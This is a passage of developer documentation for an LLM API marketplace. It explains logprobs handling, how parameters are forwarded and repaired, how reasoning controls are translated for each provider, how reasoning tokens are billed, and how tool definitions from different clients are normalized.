`/v1/chat/completions`, a request sent with `logprobs: true` gets them whether or not it streams: a non-streaming response carries `choices[].logprobs.content` (and `logprobs.refusal` for a refusal) with every token entry the provider reported, the same entries the streamed chunks carry. A non-streaming request without `logprobs: true` (including one with `top_logprobs` alone) returns `logprobs: null`, even if the provider sends logprobs. An answer cut short carries logprobs for the text it kept. An answer whose logprobs grow past a size limit (roughly 2,000 tokens at `top_logprobs: 5`, fewer at higher values) returns `logprobs: null` rather than a partial list. The legacy `/v1/completions` endpoint does not carry logprobs and returns `null`. ## Model-Specific | Parameter | Models | | -------------------------------- | ------------------------------------------------------------------------------------------------------------ | | `top_k` | Anthropic, some open models | | `repetition_penalty` | Open models (Llama, Mistral) | | `min_p` | Some open models | | `reasoning_effort` / `reasoning` | Reasoning models only. See [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) | Check `supported_parameters` on `GET /v1/models` for the resolved model before relying on any of these. ## How It Works On the chat wire, parameters are forwarded by a **deny-list**: anything that is not a credential, an SSRF vector, or money and tenancy truth is passed through as sent, so a brand-new provider knob reaches the wire without a change here. The Anthropic and Responses wires behave differently: both **rebuild** the request from a fixed set of fields, so a knob outside that set is dropped rather than forwarded. Unsupported params are silently ignored by most providers (the same behavior as OpenRouter). Several things modify a request on the way out: 1. **A reviewed adapter policy** removes or rewrites parameters a specific provider or model is known to reject. The reasoning-related rules are listed in [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). 2. **Reactive repair.** When a provider returns a 4xx that names its own fix ("Unsupported parameter: 'stop'", "does not support 'max' with this model"), the marketplace can apply that fix and retry the same seller instead of failing you. This is gated by `ADAPTER_REPAIR`, which ships `off`; until an operator arms it the provider's error surfaces instead. When a provider refuses a request because the prompt plus `max_tokens` overflow its context window, and its error says how much of the window the prompt took, the output budget is lowered to what fits beside the prompt. When the error gives only a lower bound for the prompt (vLLM's "at least N input tokens"), a bounded retry halves the refused output budget. Every retry keeps an explicit output ceiling at or below the buyer's original budget, even if a relay selects a different backend. Repairs never lower a budget below 1,024 tokens. Exact-count clamps also retain at least a quarter of the requested budget; lower-bound retries stop when the refused budget is under a quarter of the window. Prompts are never cut, and requests that still cannot fit are refused. `model`, `messages`, `tools`, `tool_choice` and `response_format` are protected from the generic strip, though a few narrowly-scoped rules do rewrite `messages` and `tool_choice` where a provider names them specifically. 3. **Prompt-cache injection**, which can add a `prompt_cache_key` and Anthropic `cache_control` breakpoints. 4. **`stream_options: {"include_usage": true}`**, auto-injected for metering on streaming chat requests. That upstream injection does not opt a chat or legacy Completions buyer in to the usage trailer. Send `stream_options: {"include_usage": true}` in the buyer request to receive the final `choices: []` token-usage chunk. Anthropic Messages and Responses streams carry terminal usage fields without this option. When the seller reports usage, `message_delta.usage` carries the cumulative counts; otherwise all four fields are a zero placeholder and `GET /v1/requests/{id}` is authoritative. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. Most of these are named in the `X-SI-Adapted-Params` response header, which is the best available record of what changed. It is **not exhaustive**: when you send no `stream_options` of your own the injection is deliberately silent, and fields dropped by an Anthropic or Responses wire rebuild are not itemised. (If you did send `stream_options` and it was overwritten, that one *is* disclosed.) A provider 4xx the marketplace cannot interpret is returned to you as a `400`. It does not automatically fail over to another seller. --- # /docs/reference/reasoning # Reasoning Controls How to enable, tune, or hide model reasoning across providers, what Surplus translates before a request reaches the seller, and how reasoning tokens appear in usage and billing. For the full response, streaming, and usage wire contract, see the [Output Specification](https://www.surplusintelligence.ai/docs/reference/output-spec). ## Capability Discovery `GET /v1/models` is the capability surface, public and unauthenticated, and the authoritative source for per-model reasoning support: - **`reasoning`** — an optional, data-driven capability object carrying `mandatory`, `default_enabled`, `supported_efforts`, `default_effort`, and `supports_max_tokens`. It is omitted on non-reasoning models, media models, and rows without populated catalog metadata; absent optional sub-fields are omitted rather than defaulted (see [Models](https://www.surplusintelligence.ai/docs/api-reference/models#reasoning-capabilities)). - **`supported_parameters`** — lists the reasoning knobs the model accepts (`reasoning`, `reasoning_effort`, `include_reasoning`). - **`supported_features`** — often contains `reasoning`, though some rows declare reasoning via `reasoning` or `supported_parameters` alone. ```bash # Models publishing structured reasoning capability metadata curl -s https://api.surplusintelligence.ai/v1/models \ | jq '.data[] | select(.reasoning != null) | {id, reasoning}' # Inspect one model's reasoning capabilities and parameters curl -s https://api.surplusintelligence.ai/v1/models \ | jq '.data[] | select(.id=="claude-opus-4.6") | {id, reasoning, supported_parameters, supported_features}' ``` **Unified reasoning input, translated per provider wire** - **reasoning: { effort: 'high', exclude?: true }**: Unified object (recommended): supports effort, max\_tokens, enabled, and exclude across every text provider. - **reasoning\_effort: 'high'**: Flat effort string: automatically lifted into nested reasoning on nested hosts and Anthropic thinking budgets on Claude. Send either the unified reasoning object or flat reasoning\_effort on Chat Completions — Surplus translates automatically to each seller's wire dialect and normalizes responses to one canonical shape. ## Request Shapes On `/v1/chat/completions`, Surplus accepts all three reasoning request spellings and translates them automatically for whichever upstream provider serves the request: | Spelling | Shape | Example | | ---------------------------- | ------------------------------------------------------------------------------ | --------------------------------------------------- | | `reasoning` (recommended) | top-level object (`effort?`, `max_tokens?`, `enabled?`, `exclude?`) or `false` | `"reasoning": {"effort": "high", "exclude": false}` | | `reasoning_effort` | top-level string (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max`) | `"reasoning_effort": "high"` | | `include_reasoning` (legacy) | top-level boolean | `"include_reasoning": false` | - **Legacy `include_reasoning` mapping:** When a native `reasoning` object is absent, `include_reasoning: true` maps to `reasoning: { "enabled": true }` and `include_reasoning: false` maps to `reasoning: { "exclude": true }` before legacy `include_reasoning` is stripped from the upstream payload. - **Exclusion precedence:** On Chat Completions output, an explicit boolean `reasoning.exclude` takes precedence over `include_reasoning`. Setting `reasoning.exclude: true` (or `include_reasoning: false`) hides `reasoning`, `reasoning_content`, and `reasoning_details` from non-streaming, assembled, and SSE responses while the model still reasons (see [Output Specification](https://www.surplusintelligence.ai/docs/reference/output-spec#excluding-reasoning-output-reasoningexclude-true--include_reasoning-false)). ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer inf_xxx" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "messages": [{"role": "user", "content": "Prove that sqrt(2) is irrational."}], "max_tokens": 4096, "reasoning": {"effort": "high"} }' ``` ### Accepted Effort Values & Repair Read `reasoning.supported_efforts` on `GET /v1/models` for per-model effort levels where published. When a model does not publish `supported_efforts`, the serving provider remains the authority on accepted values. The marketplace uses a fixed repair ladder when adjusting a rejected effort value: `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max`. When reactive repair (`ADAPTER_REPAIR`) is enabled and recognizes a provider's error phrasing, it selects the **nearest supported value named in the error** (never `none`) and retries the same seller. ### Explicit Native `thinking.budget_tokens` Validation (`400 invalid_reasoning_budget`) If you send native Anthropic `thinking: { "type": "enabled", "budget_tokens": N }` on `/v1/chat/completions` or `/anthropic/v1/messages` with `budget_tokens >= max_tokens` (or `max_completion_tokens` on Chat Completions), Surplus rejects the request at intake with HTTP **`400`** instead of silently stripping `thinking` (`error.code: "invalid_reasoning_budget"` and `param: "thinking.budget_tokens"` on `/v1/chat/completions`; Anthropic's native `invalid_request_error` envelope on `/anthropic/v1/messages`). Unified `reasoning.max_tokens` is not rejected at intake: on Anthropic-wire sellers it is clamped safely below `max_tokens` when `max_tokens > 1,024` (disclosed via `X-SI-Adapted-Params: reasoning`), or emits no thinking block when `max_tokens <= 1,024` (because Anthropic's minimum thinking budget is `1,024`). ## Marketplace Adaptations Request parameters are forwarded by a **deny-list**: anything that is not a credential, an SSRF vector, or money and tenancy truth reaches the provider by default. Reviewed adapter policy rules then translate reasoning controls to each provider's wire format: | Change | Condition | | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `include_reasoning` **translated to `reasoning`**, then stripped | Chat wire when native `reasoning` is absent: `true` → `{ "enabled": true }`, `false` → `{ "exclude": true }`; legacy `include_reasoning` is then removed upstream. | | `reasoning_effort` **lifted into `reasoning.effort`** | Nested-capable chat hosts (`openrouter`, `venice`, `mordiem`, `concentrate`, `softforge`, `pearl`) when `reasoning` is absent. Non-OpenRouter nested hosts strip `reasoning.exclude` upstream while Surplus enforces exclusion locally on output. | | `reasoning` **projected to `reasoning_effort`**, nested key removed | Flat-only chat hosts (OpenAI, DeepSeek, Google, Mistral, DashScope, Uncensored, Groq, Fireworks, Together, etc.): `effort` carries through, `false` / `enabled: false` → `"none"`, `enabled: true` → `"medium"`, `max_tokens` → nearest effort bucket. | | `reasoning` / `reasoning_effort` / `output_config.effort` **translated to Anthropic `thinking`** | Anthropic Messages wire: OpenRouter effort→budget ratios (`max`/`xhigh: 0.95`, `high: 0.80`, `medium: 0.50`, `low: 0.20`, `minimal: 0.10`), clamped to `[1,024, 128,000]` and `< max_tokens` (no `thinking` block when `max_tokens <= 1,024`); `reasoning.exclude: true` sets `thinking.display: "omitted"`; adaptive-only Claude models (`claude-opus-4.7`, `claude-opus-4.8`, Claude 5.x) use `thinking: { "type": "adaptive" }`. | | `reasoning_effort` **dropped** | The resolved model's `supported_parameters` omits **both** `reasoning_effort` and `reasoning`. Unknown models are left alone. | | Model-specific effort & dialect rules | `glimpse` maps `high` / `max` → `xhigh` and `minimal` → `low`; `gemini-4-*` translates budget dialects (`thinking.budget_tokens`, `reasoning.max_tokens`, `thinking_config.thinking_budget`) to effort; Claude 5.5 on Vertex requests `display: "summarized"` where supported. | | `temperature`, `top_p`, `presence_penalty`, `frequency_penalty`, `parallel_tool_calls`, `logprobs`, `top_logprobs`, `logit_bias`, `stop`, `reasoning` **removed** | Model tagged as a reasoning model, served by OpenAI direct. | | `logprobs`, `top_logprobs` **removed** | Reasoning model served through OpenRouter. | | `reasoning_effort` **forced to `"none"`** | Named `gpt-5.6` ids served by **OpenAI direct** with `tools` present (protects BYOK routes where default effort collides with tool calling). | Two further reactive repairs can run after a provider rejects a request: the nearest-effort clamp described above, and boolean string coercion when a client stringifies booleans (`"true"`). Reactive repair never blindly strips `thinking` or `output_config`. ### Adaptation Disclosure Parameters the marketplace changed are named in a response header: ``` X-SI-Adapted-Params: reasoning,thinking_sampling_suppressed ``` The header is per-request and is the first thing to check when a reasoning setting was clamped or adapted. It is not a complete audit of the outgoing request: see [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility#how-it-works) for what it omits. It accompanies the routing headers identifying the serving rail: `x-si-served-by`, `x-si-provider-family`, `x-si-marketplace-status`, `x-si-marketplace-attempts`, `x-si-routing-decision-ms`. ## Per-Model vs Per-Offer Behavior `reasoning` and `supported_parameters` on `GET /v1/models` describe the **model row**, not an individual seller offer. While Surplus standardizes both request translation and Chat Completions output across providers, upstream providers still differ on optional details (for example, whether they emit reasoning text or separate `reasoning_tokens` counts — see [Provider & Model Caveats](https://www.surplusintelligence.ai/docs/reference/output-spec#provider--model-caveats)). If your workload depends on a specific upstream provider's behavior: 1. Inspect `reasoning` and `supported_parameters` on `GET /v1/models`. 2. Pin the route with a [`provider` hint](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#provider-pinning-blocking-and-ordering), or use a [BYOK priority provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider). 3. Check `X-SI-Adapted-Params` on a live response to see whether any parameter was adapted. ## Reasoning Tokens, `max_tokens`, and Billing Reasoning models bill hidden reasoning tokens as output tokens. On Chat Completions, Surplus guarantees one uniform usage contract across providers (see [Canonical `usage` Object & Token Accounting](https://www.surplusintelligence.ai/docs/reference/output-spec#canonical-usage-object--token-accounting)): - `usage.completion_tokens` **always includes** `reasoning_tokens` (including on Google Vertex), and `usage.total_tokens = usage.prompt_tokens + usage.completion_tokens`. - `usage.completion_tokens_details.reasoning_tokens` is emitted **when known** from the upstream provider and omitted (never invented) when unreported. - **`max_tokens` budget warning:** On reasoning models, `max_tokens` caps total completion tokens **including hidden reasoning tokens**. Setting a very small `max_tokens` can exhaust the entire budget on reasoning and return empty `content` with `finish_reason: "length"`. Raising reasoning effort or `reasoning.max_tokens` therefore raises cost, and setting a reasoning parameter does not guarantee that reasoning **text** is returned (for example, OpenAI o-series models reason without exposing thought text). See [Pricing](https://www.surplusintelligence.ai/docs/marketplace/pricing). ## See Also - [Output Specification](https://www.surplusintelligence.ai/docs/reference/output-spec) for the canonical response, streaming, and usage contract. - [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility) for the rest of the parameter surface. - [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions) for the full request contract. - [Models](https://www.surplusintelligence.ai/docs/api-reference/models) for the `/v1/models` response shape and `reasoning` capabilities. --- # /docs/reference/tool-format-normalization # Tool Format Normalization The marketplace normalizes tool definitions from different clients before forwarding to providers. ## Supported Formats | Source | Format | Action | | ---------------- | ----------------------------------------------- | ------------------------- | | OpenAI standard | `{ type: "function", function: { name, ... } }` | Pass through | | Cursor minimal | `{ function: { name, ... } }` (no `type`) | Add `type: "function"` | | Anthropic-native | `{ name, description, input_schema }` | Convert to OpenAI format | | Top-level OpenAI | `{ type: "function", name, parameters }` | Wrap in `function` object | - OpenAI function tool - Anthropic tool - Legacy function block - Provider-specific shape → **One canonical function tool**: what the seller actually receives ✕ **Non-function tools**: dropped, and tool\_choice resets to auto Whatever shape you send is normalised to the canonical OpenAI function tool. Anything that is not a function tool has nothing to normalise into. ## Non-Function Tools Cursor sends non-function tools that most providers reject: - `computer_20241022` - `text_editor_20241022` - `bash_20241022` These are **stripped** before forwarding. If a `tool_choice` was forcing a stripped tool, it's reset to `auto`. ## Strict Validation - `typeof name === 'string'` (not just truthiness) - Tools with invalid structure are rejected, not forwarded - Applied identically to both streaming and non-streaming endpoints - 19 dedicated unit tests cover all formats ## Why This Matters Without normalization, Cursor users would get 400 errors from most providers. The marketplace handles it transparently - you just use Cursor normally.